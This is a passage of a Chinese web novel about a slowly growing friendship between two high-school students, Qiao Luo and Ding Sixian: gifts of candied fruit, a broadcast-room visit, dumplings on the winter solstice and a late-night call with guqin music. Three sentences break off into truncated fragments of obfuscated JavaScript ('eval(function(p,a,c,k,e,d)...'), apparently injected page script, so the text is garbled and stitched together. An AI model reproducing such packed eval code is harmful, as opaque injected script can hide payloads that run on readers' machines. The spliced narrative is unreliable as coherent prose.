“啊,对……对。”丁似霰快速眨着眼,耳朵尖尖有一点泛红,不知是因为刚刚的接触还是因为从未停止的北风。 他只知道,他的心跳很快。 乔洛身上有一股淡淡的香气,不是香水也不是洗衣液或者洗头膏的味道,很独特,只有离得很近时会闻到。 丁似霰飞快摇了摇头,拉回他有些飘散的思绪。 闻一个刚认识一个月的女孩身上的体香,太变态了! 5. 冰糖胡萝卜 杨可期和许志已经在一旁吃枣了,不得不说,学校的枣,确实好吃。就是发现的有些晚了,这种冬枣十月末的时候吃更好吃一点。 乔洛拿过枣,递给了丁似霰。 他摆摆手,“胃不好,枣这东西我不太敢吃。” “真没口福。”乔洛很喜欢吃枣,圆圆的冬枣和长枣或者是红枣干都喜欢,只要是甜的。 手里的冬枣被她一口咬下去。 一直正在蠕动的小白虫子。 “我真是,好手气。”乔洛赶忙扔掉了这个枣。 “我吃四五个了都没有哈哈哈哈哈哈哈哈。”杨可期笑得很开心。 “说明我选的这个枣很甜,而且没打药,虫子都喜欢吃。” 乔洛又从杨可期的兜兜里掏了一把枣出来,拿起一个,咬上一口,小心翼翼扒开,安全,没有蛋白质加餐。 “你怎么还会爬树?”丁似霰有些震惊。 许志也很意外,一边吃枣一边应和:“对啊,你不是一直在街里长大的吗,怎么爬树爬的这么麻溜?” “拆迁之前,我姥家平房有块地,小时候爬树爬房顶什么的都是常事。” 杨可期接着说道:“她不止这些,小学还爬过学校的树……” “我那叫为自己争取合理权益,可不是单为了几个枣,”乔洛及时更正。 “合理权益?”丁似霰感觉在小学阶段听到这个形容多少有些意外。 “哦,就是我班主任弄了点学校院子里的枣啊胡萝卜啊山葡萄那些东西,在那论功行赏,本来我够格的,结果说我不乖把我跳过去了,”乔洛又拿了一颗枣放进嘴里,嚼嚼嚼:“那我不能白挨说,我得更不乖的自己摘两个去。” “干得很对。”丁似霰深表认同。 等到走回教室,摘的枣根本来不及分赃,就已经快吃光了。 “没打过药的水果就是甜。”许志又啃了一大口苹果,“身手这么矫健不要浪费了,洛姐明天可以再打点枣。” “有吃的就是姐?”杨可期对于许志的狗腿行为很震惊。 “中国有一句古话……” “识时务者为俊杰!”四人齐道。 晚自习的预备铃同时响了起来。 “走了走了,一会王主任该来巡视了!”少年们一溜烟跑回了班级。 新材高中高一和高二大多都是两周放一次假,不放假的周日会有一下午的外放时间。 那一周外放回学校后,丁似霰把乔洛叫出班级,像献宝一样递给了乔洛一个盒子。 “打开看看,惊喜。” 他看起来很是期待。 “嗯?”乔洛疑惑着打开盒子。 一盒……冰糖维生素? 因为不止有水果,盒子中心放着几块耀眼的,冰糖胡萝卜。 乔洛很快就反应过来,这是她前几天提到的,她小学时未曾得到的,奖励。 “你自己做的?”乔洛拿起了一颗山楂,张开嘴,一整颗放进了嘴里。 “嗯,私人订制,独一份。”丁似霰看起来很骄傲,“是不是手艺不错?” 乔洛被山楂酸的五官乱飞,赶紧胡乱嚼了一口咽了下去,“挺厉害,还真的很好吃。” 她又拿起了“冰糖胡萝卜”:“但这是怎么回事,我第一次见给胡萝卜裹糖衣的。” “上次你说没得到,不过我认为你肯定是值得甚至双份奖励的,所以给你补上。但这个季节找不到山葡萄了。” 乔洛很震惊,“谢……谢谢啊,但真的会有人生啃胡萝卜吗……” 丁似霰拿过乔洛手里的胡萝卜,咬了一大口,“你试试,很好吃的。” “你属兔子吗?” “不是,我属马。而且兔子其实不爱吃胡萝卜哦~” “但是马似乎挺喜欢吃胡萝卜。” 乔洛也尝试性拿起一块胡萝卜,咬了一小口。 对她来讲,生胡萝卜还是一如既往地……难吃,但这次,难吃中还拌了点奇怪的味道,反正倒是可以下咽,“确实,还不错。” 乔洛啃了足足半根胡萝卜,才抬起头看向丁似霰:“那次单纯是因为我家没送礼。” “太缺德了这老师!” “好像,我的老师运一直不算太好,”乔洛又咬了一大口胡萝卜,嚼了几口,咽下去,继续说道:“但还好,朋友运不错。” “我们,算朋友了?”丁似霰的眼中充满了惊喜,就好像得到了什么很珍贵的认可。 乔洛更加不理解丁似霰的脑回路了:“我给你买了半个月饭还不是朋友啊!” “是!你是我最好的,”丁似霰忽然想起了他那可怜的兄弟,立刻改了口径:“和许志并列最好的朋友!” 乔洛只是淡淡笑着点点头,并没有接下这句话。 与杨可期并列吗?很显然,丁似霰这家伙目前没那么重要。 乔洛不算太理解丁似霰的行为。 他在,为她补上十来年之前的遗憾? 乔洛其实是不在乎的,关于过去,因为她很清晰的知道,她没有错。 也似乎没人会在意这种小事,都过去了那么多年,谁会在意那样平平无奇的一天,她只是那一晚有些不解,回家自己悄悄哭了一会罢了。 是很多年之后无意间提起这件事,乔洛妈妈才满是歉意地和她说,是因为她没意识到需要送礼这件事。 当然没送礼也没有错,杨可期家里也没有送过礼,她一直以来依旧过得很顺遂,只是乔洛倒霉了一些,如她所说,老师运不大好。 可丁似霰的眼神太炙热了,真诚得让乔洛感觉有些发烫。 她不懂为什么这个只认识了一个多月的同学,会因为她说他们是朋友而开心成这个样子,也不懂他为什么会用“最好”来形容和她的关系,就像她最开始也不懂这人为什么那么喜欢逗她一样。 但她并不反感,甚至有时会感觉,有趣。 而且丁似霰的眼睛,亮亮的,很好看。 他整个人,不抽风的时候都挺好看的。 夜幕下,少年们在教室里或学习或悄悄想着自己的秘密又或是偷偷睡觉,一切都是那么静谧又美好。 臭白和小花不知什么时候溜到了果树下,一狗一个苹果抱着啃。 可能它们也感觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唉,稿子都是站里安排,写得莫名其妙,也不知道是谁写的,真该去学学写作文了。但出于职业道德,乔洛还是用那种丁似霰从未听过的温柔且标准的普通话把整篇稿子读了下来。 “感谢同学们的收听,祝大家都可以最终实现自己的梦想,成为你想成为的人。” 乔洛关掉了麦克,点开歌单,播放学长学姐们定好的音乐……如果明年让她掌权,她一定要把这个歌单换一换。 她还要在这里待上二十分钟,等待音乐播完,断掉电源,锁门,然后把钥匙交给负责管理这间屋子的学姐。 广播站只有每周五会有“校园之声”,其他的时间都是只放音乐,所以能轮到读稿子的其实都是佼佼者。 乔洛还是第一次播稿子,她抽签的时候抽到了最后一个。 乔洛百无聊赖地看着台子上各种按键,这歌太难听了。 如听杂曲耳暂聋。 她实在是不太理解这个歌单主人的喜好。 把所有的按键都观察一遍之后,乔洛又开始在屋子里闲逛。这屋子不大,堆放了不少设备,有一些乔洛感觉甚至是坏的,也不知道留在这里做什么。 从窗户看出去,能看见外面的大理石广场,和教学楼门口的甬道。 今天甬道上并没有那个上蹿下跳的身影,大概是路滑,不太适合打球。 乔洛扫视一圈后,走到了门口。 磨砂玻璃的外面有一个人影,没记错的话这个影子在她刚刚把麦克风关掉的时候就已经在这里了,她本以为是路过的学生,如今看来,更像是什么人一直等在门外。 6. 如听仙乐耳暂明 门外那人,是丁似霰。 他指了指屋子里,胡乱比划着: ——可以说话吗? “可以啊,我已经把麦克关了。” 于是,乔洛就收到了来自丁似霰的夸奖。 “牛哇牛哇!乔洛你正经起来说话简直和我在电台听到的主播一样!不对,比那些主播好听,他们有的人有一种刻意装出来的温柔,但你这个是真好听,顶尖的那种!” 丁似霰丝毫没有吝啬他的赞美,他确实从未想过乔洛的声音这么好听——虽然平时聊天的时候就能听出来她声音很悦耳,哪怕是被他惹炸毛了破音的时候也不难听,但是从来没有如此温柔过。 而且这个声音很熟悉,听起来和小学的时候他拨弄收音机时听到的那个声音很像,但是很可惜,操作不够熟练,听了不到一分钟就不小心调走了……其实他只是想把声音放大一些。他没有记住电台的频道,也没有再找到过那个声音。 乔洛顿了几秒,她已经很久没有听到过这种高度赞扬的评价了。 丁似霰,比她见过的所有人都要热烈。 她没回应这份赞扬,因为有些不知道该怎么回复。 “你怎么在这里?”乔洛对于丁似霰的到来很意外,她没告诉他今天广播站轮值。 “听到你的声音从广播里传出来了,就想来看看,播音设备都是什么样的。”丁似霰手里还拎着一个袋子,看起来确实像临时起意找过来的。 乔洛还撑着门,广播室是一个独立的小房间,门口有两节台阶,使得屋子要比外面的地面高上一些,她站在这里正好可以和丁似霰差不多平视。 她突然间发现,这么久以来,就算走在平地上,丁似霰的声音也仅仅是在她头上一点点的位置,和现在的感觉差不多。 他平时嗓门又不是很大,难不成是他走路的时候驼背? 乔洛的脑海里突然把他想象成了一个驼着背的老头……咦,太违和了。 “嘿!想什么呢?”丁似霰在她眼前打了个响指,打断了乔洛的浮想联翩。 “没,没什么,”乔洛向后退了几步,“进来吧,随便看。” 丁似霰也被操作台上数不清的按键吸引到了,弯着腰,细细的看着。他有一点点近视,按键旁边这么小的字不离得近一些看不清的。 完蛋,更像驼背老头了。 乔洛赶紧挪开了她的视线。 “好复杂,你是怎么记住这些键子都是做什么的?” “其实我只用到了这仨个,”乔洛指着音量调节的旋钮、麦克风的开关和音乐播放按键,“至于剩下的是用来做什么的我也不清楚。” “哦哦,”丁似霰把目光转回到乔洛身上,“还要待多久?” 乔洛看了一下手表,“还有最后一首歌了。” “这歌可不太好听。” “是吧,我也感觉这歌奇奇怪怪的。”乔洛找到了共鸣。 “是神神叨叨的,”丁似霰提起手里的袋子,“酸菜猪肉馅饺子,我厉不厉害?” 乔洛这才想起来,今天是冬至:“冬至吃饺子,这么讲究?” “冬至不吃饺子,冬天是会把耳朵冻掉的。”丁似霰看起来对这个说法非常认可,“放心,给杨可期那份已经送到她手里了。” “你怎么跟公园的老大爷一样,”乔洛今天是没办法忘掉丁似霰和驼背老头的联想了,毕竟确实似乎多数是那些大人们更在乎这些节气,乔洛平时根本都不会看农历日期的:“今天饺子很难买的吧?你从哪搞的?” “仙人自有妙计,”丁似霰夸了自己过后,并没有继续卖关子:“在东门那家饺子馆定的,我上周就预定了。” “那你怎么知道我喜欢吃酸菜猪肉的?” “你空间里发过,”丁似霰想起了乔洛那条空间,“不过酸菜馅蘸醋你真的不嫌酸吗?” “我沾的是酱油,谁家酸菜蘸醋啊?”乔洛其实记不大清是哪张图片了。 “哈,”丁似霰有点尴尬的挠挠头,“多亏我让老板带了一盒酱油一盒醋……” “可能桌子上的陈醋是我姥姥拌咸菜用的,然后就没拿下去。”这是乔洛能想到的唯一的解释了。 终于,这难听的曲子结束了。乔洛关掉电源,和丁似霰走了出来,锁上门。 走回教室的路上乔洛总是忍不住看看丁似霰的走路姿势,这也不驼背啊…… 他这么长个腿怎么步子和她差不多大?乔洛不自觉盯着地面,和丁似霰统一了步伐……以及迈腿的顺序。 注意力的转移使乔洛不知道何时有些同手同脚。 “嘿,顺拐了小朋友。”丁似霰的声音又是从她上方不远处传来的,难道他是用锁骨发声? 乔洛慌忙跺了跺脚,真要命,之前和杨可期牵手走路她就总是顺拐。 “不太协调,嘿嘿。”她倒是坦然接受自己这个缺点。 “那你小时候走队列会不会也顺拐?”丁似霰试了一下,同手同脚走路还是有一定难度的,他都快不会走了。 “我没走过,运动会入场式那种露脸的好事怎么会轮到我身上。”乔洛恢复了往常懒懒散散随意迈着步子的走路方式。 “我感觉你这算是天赋异禀。” “听起来不像好话。” “真的,我试了一下,”丁似霰又进行了一次尝试,走得就像刚出场并且没有涂润滑油的故障机器人,“很难。” “那谢谢夸奖哈。”真奇怪,顺拐这种事情怎么会有人故意去尝试…… “乔洛,你有什么想考的学校或者专业吗?”丁似霰的问题显然是来自于刚刚那篇非常官方的鸡汤。 “我想学建筑设计,学校没考虑太好,看到时候学得怎么样吧。” “会很好的,下学期我们就不用再考文综了。” “不过你怎么知道我中考排名的?”这问题运动会的时候乔洛就想问了,没记错的话她以前没有在任何地方见过丁似霰。 但是丁似霰好像对她很有兴趣,今天才知道他竟然还去看了她的Q/Q空间,不过乔洛没有在空间发过中考成绩。 “看过成绩单。” “你能记住所有人的名次?” “当然不能,有这记性我就不至于次次考完试因为默写被语文老师抓起来教训了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她抬起头,撞见了丁似霰疑惑的目光——原来她说话的时候他一直有弯一些腰,怪不得。 “你不会以为我会自卑吧?当然没有,我只是那时候太小了才学的慢,加上肢体不是很协调。我跟你说,我学会骑自行车之后,小区里那些孩子比赛谁骑得快我就没输过!而且后来我妈不知道怎么就想开了,也没再对我有过什么要求,只是不太习惯夸我而已。” “嗯,能看出来,除了五十米跑的还是不快以外。”丁似霰笑得很灿烂,是那种从心里往外很欣赏的笑容,看起来温柔又热烈。 “丁似霰,我发现你这个人脑子不抽风的时候长得还是不错的。”说完这句话乔洛就在心里抽了自己一巴掌,这个破嘴,怎么就说不出来什么好听话,明明是刚才感觉他笑起来很好看。 “哈哈?精神状态影响面容面貌?”丁似霰还是笑着,心情丝毫没有被影响。他忽然很想抬起手揉揉乔洛的脑袋,但理智告诉他这样不太好,乔洛会炸毛。 “你录过电台吗?”丁似霰问出了心中的疑惑。 “嗯,录过两次儿童读物,很小的时候了,那时候才二年级,”乔洛不知道丁似霰的话题跳转跨度怎么这么大,“你怎么知道的?” “我只是感觉,曾经听过。如听仙乐耳暂明,刚才听到你读稿子的声音,就这个感觉。” 7. 洛洛 “啥?”乔洛没反应过来,怎么又说上古诗了,她昨天刚抽背了琵琶行,如今听到这个多少有些应激。 “曾经在收音机里听到过你的声音,但是后来怎么都找不到了,我还遗憾了很久。后来怎么不录了?” “不想录了,”她习惯性敷衍了一句。 “那真是新柳市电台的一大损失,”丁似霰虽依旧很是好奇,但倒也未继续问下去。 乔洛看着丁似霰,忽然有些她从未有过的想法。这人,好像真的会在所有方面都以她的喜好为首,并认为她……很好。 这让有乔洛有种错觉——丁似霰,似乎真的是个值得交下去的朋友。 鬼使神差的,乔洛开口与丁似霰说了那些不大美好的过往:“录了两期之后正好我们班办了个什么故事大赛,我那天触了班主任霉头被抓到前面第一个讲……结果当然不会好,我班主任就点评了一句‘去电台讲故事的水平也不怎么样,我还以为有多厉害呢’。 小孩子多是见风使舵的,当时班里总有人对我冷嘲热讽的,我就不想去录了,甚至很长时间不太想说话。” 丁似霰没有接话,今天接收到的信息有点多,从来没有想过乔洛的童年竟然是这样的,灰暗又曲折。 但是她此刻讲起来,又是平静的,似乎不带有任何情感的一段回忆。 “你真觉得我刚刚稿子读的很好听?”不知不觉已经走到了十班后门,乔洛停下来转过身去,和丁似霰面对面。 “真的,很好听,是你的小学班主任太没有品味和职业道德了。”丁似霰很肯定,这不是他的偏爱,“我感觉,只要你想,你绝对可以站在更大的舞台上,比当初那个教室大很多的地方。 你的声音条件就是很好,只是收起平时懒散的样子,认真一些说话,然后把奉州的口音藏起来,就已经让人感觉听起来温暖又高贵,嗯,就是高贵,我总感觉能去电台录制的声音都贵贵的。” “那倒是,确实会给点钱,足够去搓一顿烧烤。”乔洛对于丁似霰的话很受用。 “我可以揉揉你脑袋吗?”丁似霰还是贼心不死。 “不可以。”乔洛很坚决。 “好吧。”丁似霰把饺子递给乔洛,好在他要了两层保温袋,现在应该至少不是凉的。 “听说如果被比自己高的人摸了脑袋,就会长不高的。”乔洛真的很想长高,她不贪心,长到杨可期那么高就好。 “而且我两天没洗头了。”这才是重点。 “会长高的,你只是年纪小了点,”丁似霰还没有忘记她怕长胖企图不吃晚饭的罪行,“但如果你一直都不好好吃饭的话,说不定就长不到一米六了。” “不好意思,让你失望了,上周末在家我妈给我量的,我现在160.3。”自从上了高中开始,好像到了乔洛的生长迅猛阶段,短短四个月,她就长到了一米六。 “或许你好好吃饭的话就会长到一米七。”丁似霰说这话的时候还是弯着腰的。 乔洛突然又想到了驼背老头。她用着不轻不重的力度拍了一下丁似霰的后背,“直溜站着,别像老头一样。” “好嘞!”他瞬间站得溜直,和军训的时候站军姿一个样子,“这样可以不?” 乔洛笑起来,怎么会有丁似霰这种人,他好像总是有用不尽的热情与笑容。 “可以的,只要你不嫌累。”乔洛看了一下时间,还有十几分钟就上晚自习了,“你快回十七班吧,上午王主任还在广播里批斗了咱们不打铃绝对不回教室的恶行,小心他一会就来抓人。” “告辞!”丁似霰一溜烟跑掉了。 他跑的真的很及时,过了不到两分钟,王主任就来了三楼的楼道里面巡逻。 乔洛回到座位,打开了那盒饺子。 嗯,味道不错。 杨可期闻到了一股陈醋的味道,她凑了过来指着乔洛没有打开的那个调料盒,“谁卖酸菜馅的东西会赠一盒醋?” 乔洛晃晃头,大概是聪明到了极点的人才会这样。 她不太懂,自己为什么会和丁似霰说这么多以前的事,就因为他夸了几句好听的话?太不合理了。 她只是嘴碎,但确实没有过给别人讲自己过往的习惯,很多事情都像那句“不想讲了”一样敷衍回应。 她正出着神,英语老师敲黑板的声音忽地把她的思绪拉了回来。真灾难,明天又要听写单词。 桌膛里的手机屏幕亮了一下: ——短信,来自丁似霰。 乔洛的手机常年静音,她甚至没有设震动的习惯,所以没有人发现。 除了乔洛。她听不下去英语课,溜号的涣散视线瞄到了屏幕发出的光。 她悄悄点开了短信。 ——乔洛同学,我感觉还是应该郑重的和你说一下,本人丁似霰今日对你的赞赏并不是拍马屁,纯纯发自内心,希望以后有机会的话可以有幸得到一段乔洛同学的独家录音以弥补我童年的遗憾与空缺。 而且据本人目测观察,你的身材偏瘦、身高偏矮,但身高长势良好,好好吃饭多多运动,还是有机会呼吸到海拔一米七的空气的。放心,高处的空气并不稀薄。 乔洛观察了一下英语老师的位置。很好,老师站在讲台上,并没有下来转转的征兆。她飞快地编辑着信息。 ——请问丁似霰同学想要什么样的录音?趁着我还没有出名,可以免费给你录一款定制语音,请尽快决定,机不可失哦。 一八五的空气会稀薄吗?我现在开始每天去吃菠菜有没有可能体验一下一八零的空气? 丁似霰的回信很快,一看就是也没有好好听课。 ——我思考思考,想好了再告诉你。 你不要太贪心,如果你长到一七零,我就要开始揉你的脑袋来抑制你的生长了。 乔洛这次只回了两个字。 ——做梦。 他为什么对吃饭这么热衷,之前还说他胃不好来着,除了不吃枣以外,真看不出来他哪里有问题。 乔洛的姥姥前几天在公园不小心摔了一下,还好没有骨折,只是软组织挫伤。老人家摔了总是有些让人担忧的,云锦书和乔洛的大姨在医院打替班,云锦书白天要上班,所以都是晚上去医院陪护。 最近乔洛都是自己在家,每天晚上回家把大门反锁之后给云锦书打个电话,和姥姥再偶尔聊聊天。然后就去洗洗睡觉了。 但是今天她有些睡不着,她在想今天对丁似霰的奇怪的感觉。她好像很信任他,愿意和他说自己的曾经。 ——睡了吗? 乔洛关了灯,在床上盯着天花板发呆,手机屏幕又亮了,是丁似霰。 ——还没。有事? ——有点冒昧,但还是很好奇,你怎么触了你小学班主任的霉头? ——排队交日记的时候,她说了让保持安静。但是坐在第一排的同学问我那天是几月几号,我顺嘴就回答了,感冒了声音有点粗就被抓到了。 ——问你问题的那个同学呢?你为什么不和老师解释清楚,又不是你主动说话的。 ——你应该要知道,那个时候我说的所有话都会成为狡辩。 你今晚怎么这么闲?再发下去我短信就要余额不足了,晚上是没办法充值的。 ——我自己在家,睡不着又没人聊天,突然就很好奇你是怎么破茧成蝶的。 乔洛想了一下,然后直接拨通了丁似霰的电话。 丁似霰接得并不快。 “这么晚了不会影响你爸妈睡觉啊?” “我也自己在家,而且我家没有男人,平时也只有我和我妈。” 乔洛没有和他说过自己的家庭状况,只不过在日常的闲聊中确实没有提过父亲这个人的存在。 丁似霰也没有问过,或许他们终有一天会熟到聊家底的地步。 乔洛问道,“你不是一个人吗,声音为什么压这么低?” “为了营造一个马上要睡觉氛围。” “那你怎么还要发短信,打字怎么催眠?” “没想到你也可以打电话。” “好吧,那我也小声一些。” “给我讲讲你小时候的事吧。” “还从来没有人问过这个,我今天已经和你说了很多了,要不换你来交交老底?” “下次一定。” “不舒服?”傻子都能听出来,他不是营造什么氛围,只是没太大力气说话。 “有一点。我们班晚上有人吃坏了东西一直在放屁,很臭,只能把门和窗户都打开通气,我在风口吹了两个小时,胃有点疼。”丁似霰蜷缩在被窝里,手机开了免提放在耳边,一只手摁着正在作痛的胃。 “你也太惨了点,不会自己死在家里吧?” “倒不至于,我保证明天你还会在高一十七班看到活着的丁似霰。” “我这时候是不是应该和你说多喝热水?你需不需要吃什么药?” “吃过了,但是见效没那么快。” “你要是晕过去了算睡着吗?” “这大概是算的吧……因为还是会做梦的。” “好吧,那你想听什么?” “要不讲讲你为什么跳级?” “让我想想该从何谈起我的辉煌历史。 要说我第一次表现出来比较优秀嘛,应该是二年级最后一次美术作业,我得了优加,那是我的画第一次被贴在班级外面的墙上展示。” “你画的是什么?” “儿童节去游乐场玩,遇见了一个不敢进鬼屋又十分好奇的男孩,可是那个鬼屋只让一米四以下的小孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我可以这么叫你吗?” “嗯……可以。” “然后呢,你是怎么超过了我们这些凡夫俗子,跳级上了初中的?” “然后你该睡觉了,丁似霰同学。欲知后事如何,且待下回分解。” “好吧,晚安。” “你睡得着吗?” “不知道。” “那你说什么晚安。” “你也该睡了。” “你现在,把手机扣过去,不要让屏幕的亮光太明显,然后趴在被窝里。” “好。”其实丁似霰一直是这个动作。 “你等我一下。”乔洛的说完,就飞快的跑到客厅去,搬了什么东西进来。 很快,手机里传来了……乐器的声音? “古筝?”他问道。 “这是古琴,古筝声音好大,我这个时间弹的话会被邻居追杀,”乔洛随意弹着她曾经练过的曲子,声音不大,在宁静的夜晚亦十分和谐。 “什么曲子呀?好好听。” “《良宵引》,是个传统的晚安曲,”乔洛的手停了下来,轻轻伏在琴弦上,截停了琴弦的震动,“你不要说话了,睡觉。 主要是我本来就弹得不太熟,一边和你说话我反应不过来怎么弹。” “好,晚安。” “晚安。” 乔洛是在初三的时候一直在家待着,每天只画画过于无聊,想着弄点什么乐器修身养性。 云锦书带她去乐器行的时候,她走了一圈,便被角落里的那一床古琴吸引住了目光。 新柳并没有古琴老师,再加上,古琴的价格属实……贵了些。 所以它,就像一个被遗落的小可怜,静静立在那个最不起眼的角落。 后来,云锦书和乔洛把它带回了家。 或许真的是天赋,当然更可能是因为这些古典弦乐只要不用暴殄天物的手法弹奏,都不会太难听。 乔洛特意跑去了奉州市里学习,一周两次,一个多月把基本功练了下来,还能弹两首非常简单的基础曲目。 后来嫌麻烦就没有再去学,她自己在家慢慢摸索着练习,倒也练了几首传统曲目。 她仅仅是能弹得流畅,节奏不太稳,不过好在丁似霰听不懂。 乔洛现在的行为应该叫做……糊弄洋鬼子。 这东西外行人听起来,肯定还是很好听的。 她慢悠悠把《良宵引》弹了两遍……确实将近半年没太碰琴了,其他曲子真很难流畅弹下来。 想不到啊,当初打发时间,专挑这种带着点禅意又缓慢的曲子练,竟然还有给别人当催眠曲的功效。 多亏丁似霰听不懂。 两曲弹罢,乔洛静静听着电话那端的声音,大概是睡着了。 “丁似霰?”她用很轻的声音对着手机的收音口喊他。 没有回应。 “谢谢,晚安。”乔洛又轻轻说了一句。 秉承着节约话费的优良习惯,她挂断了电话,毕竟这都是钱啊。 丁似霰,祝你今夜好眠吧。 8. 生日快乐 第二天乔洛起得很早,她睁开眼时,闹钟还没有响。 她看了下手机,五点三十。外面天还是黑的,真灾难,每天摸着黑上下学。 按道理讲,这个时候的高中生如果起了床就是应该拿起些什么学习资料,利用晨起的大好时光开始背诵。 但是她才不会。 乔洛鬼使神差的去了一趟早市——之前在家休息的时候实在是太无聊了,每天睡得足足的,偶尔白天睡多了晚上直接通宵,早上就送妈妈上班之后拐到早市里面觅食……话说这样吃的饭到底算早饭还是算夜宵? 早市里有一家豆腐脑很好吃,他家的油条和菜丸子很香,豆奶也不错,但有的时候是凉的。 还有一家很特别的粥铺,铺子里有很多种乔洛从来没有在别家见过的粥,味道竟然还都不错。 乔洛出门前给云锦书发了短信: ——妈妈别买早餐咯,我一会带过去,等我! 她怎么说也有点想妈妈,有三天没见到了。 乔洛到医院的时候已经六点十分了,六点四十五是学校最晚进校门的时间,还是太紧张了点。乔洛把早餐送到后随便和妈妈姥姥聊了几句,就跑走了。 她又给丁似霰发了短信: ——还喘气否? ——目前生命体征良好,自我评估还能喘几十年气。 ——吃早饭了吗?有一家我私藏了多年的早餐铺子,吃不了吃亏,吃不了上当,包你满意。 ——你确定现在去吃早饭,不会迟到吗? 已经六点三十五了,虽然一般来讲,周末学校不会抓迟到的,但也只是一般来讲。小心老王头一时兴起去门口堵人诶。而且我已经在学校值了将近十分钟日了。 他这周值日,十七班的室外区域就是教学楼后门,无非就是扫扫地,擦擦灰。因为丁似霰个子比较高,所以后门门框一直都是交给他来擦的。 乔洛一向认为冬天就不该干这些沾水的活,虽然说每次轮到她值日的时候,她总是擦黑板的那个,也要沾凉水。但丁似霰那可是在室外,冬天,凉水,擦门,太灾难了。 而且天天擦能有什么灰?为了防止水珠冻在门框上,还要尽快再用干抹布擦干,这活纯纯是累傻小子呢。 六点四十二,乔洛跑进了学校,呼,时间管理大师! 她绕了一圈,走到十七班最后一扇窗户外面,踩着花坛,敲敲窗。 丁似霰从窗帘后面探出了头,只看到了乔洛半个脑袋,以及放在窗台上的早餐。他都没来得及打开窗户和乔洛说话,她就一溜烟跑掉了。 她还是怕迟到的,一步三个台阶疯跑上了三楼,乔洛屁股刚坐到凳子上,六点四十五的铃声就打响了。 这个早上她做了很多事,先是买了早饭去医院,从医院出来又重新去买了粥,然后跑到学校。这么看来也不是很多事,但这对于平时早上洗把脸就上学的她来说,还是太繁忙了点。 杨可期看着乔洛累趴在桌子上的样子,还以为她早上是逃难去了。 丁似霰把早餐拿了进来,塑料袋里面还有一张小纸条:叮!大狗狗投喂计划第一步,早餐已送达。 这是什么东西?丁似霰看着这杯不是太寻常的粥有些疑惑,小米蔬菜粥?还有蛋花?这是什么神奇的搭配。 他习惯性晃了晃杯子,然后把吸管戳进去,喝了一口。 竟然还是温热的。 ——味道不错,多谢投喂。 乔洛没有回短信,因为她真的余额不足了…… 但是投喂计划第二天并没有继续,乔洛还是喜欢洗把脸就出门的生活,再加上买早饭的时间……她确实没有这个持之以恒的品质。 她相信人各有命,也相信丁似霰活了这么大总不会把自己作死,自己胃不好又不吃早饭那谁管得着。 不过主要还是因为懒,天大地大睡觉最大。 但是距离乔洛坚持了十几年的事不关己高高挂起主义被推翻,只有不到三天的时间了。 周日外放的时间,乔洛和杨可期吃过晚饭,就去到小商品城逛街。 今晚是平安夜,商场里到处都是圣诞老人和圣诞树,音响里无限循环着《铃儿响叮当》。 乔洛一直感觉买那种用塑料包了一下皮就价格翻两倍的苹果是一件有些愚蠢的事情,苹果哪天都能吃,塑料皮又不能拆下来收藏,所以总体来讲,没什么意思。 今年也一样,她甚至没有在平安果的区域停留一秒。 杨可期看上了一个水晶沙漏,可是这东西确实没什么用,她家里已经有六个沙漏,一分钟的,五分钟的,半个小时的,还有一个看着不大但是流沙巨慢的,足足两个小时才会流尽。 每个人都有点小癖好,杨可期就是很喜欢沙漏。 她看了一会,还是决定不买了。 杨可期绕了一圈,并没有找到乔洛。她拨通了乔洛的电话。 “小洛洛,去哪里溜达啦?” “我在收银台这里,马上排到了。” 杨可期眯起眼,踮脚看着收银台长长的队列,有一个穿着校服裤子抱着毛绒玩具的身影,很像乔洛。 “我去,那个低了算卦抱个玩偶排队的人不会是你吧?” “是呀,你看到我啦?那你快过来,省得我去找你了。” 乔洛的的手里除了有五十厘米长的毛绒狗狗,还有那个杨可期刚刚驻足了很久的沙漏,以及她突然感觉不能只差许志一个人,顺手买的零食礼包——确实不太了解许志喜欢什么,但是零食礼包这种实用的东西总不会出错。 其实杨可期的四个沙漏都是乔洛送的,她说喜欢就应该放在手里,管他有没有用呢,摆在手边看着开心就是最大的用处。 乔洛把沙漏递给杨可期,“不要太感动,我要回礼的。” “硬要啊?”杨可期确实没想好给乔洛送点什么,如果她有要求当然是最好的。 “下周放假你带我去你家药房弄个香囊啥的。” “你不是对这东西不感兴趣吗?”杨可期家里有一个小的中药铺,还附带一些做香囊内瓤的项目,乔洛一直都对花花草草一类的东西没有兴趣,只是偶尔编了香包会放在杨可期家的药材铺卖掉,手工编的香包还是可以卖个不错的价钱的。 “突然又想弄弄。” “不会是要送男人吧?”杨可期一脸八卦,“送丁似霰是不是?” “嗯……”乔洛有些犹豫,“可以吗?” “可以,这有什么不行的,但是下周末就是元旦放假了,你如果是想送他新年礼物的话大概是来不及的,放进你的小盒子里的话都是要用香丸的,那东西选好药材之后还得晾晒,现在季节不是很合适,你如果要现成的香丸倒是容易,但要是想自己做的话得至少一个月才能拿到。” “做好的,有那种什么安眠作用的吗?” “应该是有的吧,毕竟这个是最常卖的,我可以问问我妈。” “好像还是我更合适一点诶,你又要帮我卖香包又要给我拿香丸哈哈哈哈哈哈哈!” 杨可期没有多问什么,毕竟女大不中留啊。 乔洛就那么明目张胆的抱着毛绒玩具走回了学校大门,然后大大方方的去十七班把它送给了丁似霰。王主任看到了都被她的坦率震撼,连忙一个急转弯去了别处巡视。 这肯定不是早恋,哪有姑娘家送礼物送的什么脸不红心不跳的,王主任在内心疯狂催眠自己。 新材高中对于早恋抓的不是很严,只要没影响学习,没影响上课,也没做出当众激吻这种过激行为,大概率是睁一只眼闭一只眼就过去了。 但是丁似霰很惊讶。他接过玩偶的时候人还是蒙的,“你确定这是送我的?” 给男生送毛绒玩具,天才。 “和你长得多像!”在乔洛心里,现在丁似霰和大狗狗基本是互通的,这样也好,至少不会再想到驼背老头了。 “我把礼物放你桌子上了,记得看说明书。”丁似霰接过了玩偶,抱在胸前,玩偶在丁似霰手里看起来竟然没有那么大了,真是相对论的具体呈现。 “多高深的东 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乔洛打开笔袋里的小镜子,把丝带放在头发旁,大致想象着戴上它的样子。 